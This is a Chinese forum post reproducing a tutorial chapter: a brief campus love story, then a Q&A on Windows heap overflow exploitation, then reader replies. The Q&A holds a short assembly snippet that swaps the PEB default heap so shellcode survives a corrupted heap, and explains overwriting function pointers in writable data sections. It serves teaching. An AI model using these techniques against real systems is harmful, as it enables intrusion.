  “生亦何欢,死亦何苦。”大彻大悟。紧箍咒圈住昔日的梦想,圈住棱角分明的个性。成熟是一个很痛的词,它不一定会得到,却一定会失去。

  “从前现在过去便再不来,红红落叶长埋尘土内……苦海……翻起爱恨……”当片尾曲响起时, 宇强想到:“成熟,就代表会失去么……”。

  从影院中出来,宇强和小倩走在回宿舍的路上,落叶铺满整个水泥石面,踩上去沙沙作响。难得的明月挂在天上,如同白银一般倾泻下来。宇强望了望身边的小倩,是一层迷幻的白光……“如同天使啊! ”宇 强心里说不出的欢喜。

  “这部电影是不是太悲情了点呢? ”小倩问道。

  “在电影院里有那种感觉,有种失落感!”

  “现在呢?”

  “现在?”宇强又恢复了精神,“我又想起损失,我们都要经受这个过程,但正因为有损失,我们才能在生活上得到成长;生命,的确很短暂,但正因为短暂,我们创造的美好东西在日后才能长期永存。”

  “所以,我我现在想的就是:把握青春岁月,奋进不息,努力干一番事业! ‘成事在天,谋事在人’! ”

  “哦,你能有这样的想法啊,很不错嘛! ”小倩赞同的说道。

  “当然,我可是一个很上进的人啊!哈哈!”

  “快看……流星! ”小倩突然指着夜空激动地说。

  天边一道亮光滑过。

  “快许愿,快许愿! ”宇强催促道(许愿中……)

  “呵呵!你许的什么愿望啊?”

  “不说,说出来就不灵了!要默默的许! ”小倩笑个不停。

  不知不觉已到了小倩的寝室楼下。“书下次还给你啊! ”小倩说。

  “好的,不用急,你慢慢看,再见!”

  宇强在回去的路上,不知不觉的想起了《月光宝盒》的主题歌。

一生所爱
从前 现在 过去 便再不来
红红 落叶 长埋 尘土内
开始 终结 总是 没变改
天边的你 飘过白云外......        

苦海 翻起爱恨
在世间 难逃离命运
相亲 竟不可接近
或我 应该相信 是缘分

课后解惑

Q:对于各个Windows版本,堆的处理过程都一样么?
A:堆管理和回收是个很大的主题。微软也一直在试验与改进,希望在效率和资源占用方面取得一个合理的折衷。所以堆管理器采用的分配算法,在不同的Windows版本上是不同的,但微软的改进毕竟是逐步的, 所以讲的方法基本对各种版本研究都有效。

Q:堆溢出的利用有很大的实际意义么?
A:当然!堆溢出的危害还不像堆栈溢出那样被人认识得很清楚。无论是实际的利用,还是深入的研究方法, 都很有意义。有本书讲解防止缓冲区溢出的方法时,居然建议不使用数组,使用动态分配这一项。

Q:为什么一再要求不要在VC里调试和运行堆溢出相关程序呢?
A: Windows为堆管理提供了两套API, —套用于正常管理分配,另一套用于调试。使用VC这类ring3调试 器调试时,Windows会创建调试堆,并使用调试那套函数,这样就和正常运行时的堆处理不同。所以一再要求在正常模式下运行相关程序。如果要对正常的堆分配进行跟踪,最好使用ringO调试器(如SoftICE)。

Q: DEBUG版本和RELEASE版本的还有些什么不同呢?
A: DEBUG版和RELEASE版由于编译选项不同,所以编译器对它们的链接处理和生成的程序也不同。DEBUG 版多了很多东西,比如调试信息;RELEASE版还会进行优化。所以调试版本会比发布版大很多。

Q:我写了一些程序,在DEBUG版时可以正常运行;但做成RELEASE版却报错,马上就要发布了,天啊!这 是怎么回事啊?
A:不要轻易将问题归结为DEBUG/RELEASE问题,先确保有没有其他原因。如果是DEBUG/RELEASE的问题, 最大的可能性是变量初始化的问题。在DEBUG下,编译器会自动把变量初始化;而RELEASE版则不会。另 外,预处理的不同、资源文件的改变,都有可能带来问题。

Q:堆溢出利用的ShellCode为什么会有这么多要求呢?怎么解决呢?
A: API函数执行会使用到进程的堆块。我们把堆覆盖了,那么函数执行时就会发生异常。


可按如下方法解决:


我们可以使用系统中另外存在的一个堆替换掉PEB中系统默认的堆,比如:

mov eax,fs:[0x00000018] 〈---------PEB地址
mov eax,[eax+0x30]
lea eax,[eax+0x18] 〈--------获得进程默认HEAP BASE地址??????
mov ebx,0x170000??
mov [eax],ebx 〈-----------换成0X170000

我们也可恢复HEAP FREE LIST结构,由于被破坏的主要是释放堆连表的结构,我们可以取出链表进行分析, 恢复成一个正常的释放堆链表。

具体实现我们将在ShellCode的高级编程中讲到。

Q:为什么覆盖Call [esi+4c]指令的地址就会引发异常,从而进入异常处理点?而为什么在JPEG漏洞中可以覆盖0x7830B1DC处的函数,又不会出错呢?
A:这涉及到PE文件的的分段了。Call [esi+4c]的指令是在text段,就是代码段中。text段是不可 写的,所以往它附近写入时就会出错,从而进入异常处理;而JPEG漏洞利用时,覆盖函数的地址是在data 段中,而data段是可以写的,所以不会引发异常。
Q:还有哪些堆溢出利用的实际例子呢?
A:有很多哦,建议再看看RPC堆溢出漏洞的分析和利用,对增加堆的利用经验有很大帮助!
soarcloud 「龙战于野」 2016-3-25 15:20 |显示全部楼层

这个用户很懒,还没有填写自我介绍呢~

继续学习啊,顶起,这篇难度大了很多,还需要多看几次啊。
雾月 「出类拔萃」 2017-9-30 15:05 来自手机 |显示全部楼层

这个用户很懒,还没有填写自我介绍呢~

读书读到抽筋处,文思方能如尿崩!
耀眼的阳光 「出类拔萃」 2018-5-3 14:35 来自手机 |显示全部楼层

这个用户很懒,还没有填写自我介绍呢~

呵呵,低调,低调!#j320:
凉冬空巷 「龙战于野」 2018-5-7 10:28 来自手机 |显示全部楼层

这个用户很懒,还没有填写自我介绍呢~

勿以坑小而不灌,勿以坑大而灌之。
您需要登录后才可以回帖 登录 | 注册账号  

本版积分规则

关于本站|大事记|小黑屋|古黑论 网站统计

GMT+8, 2020-9-27 14:51 , Processed in 0.048017 second(s), 20 queries , Redis On.

© 2015-2020 GuHei.Net

Powered by Discuz! X3.4

快速回复 返回列表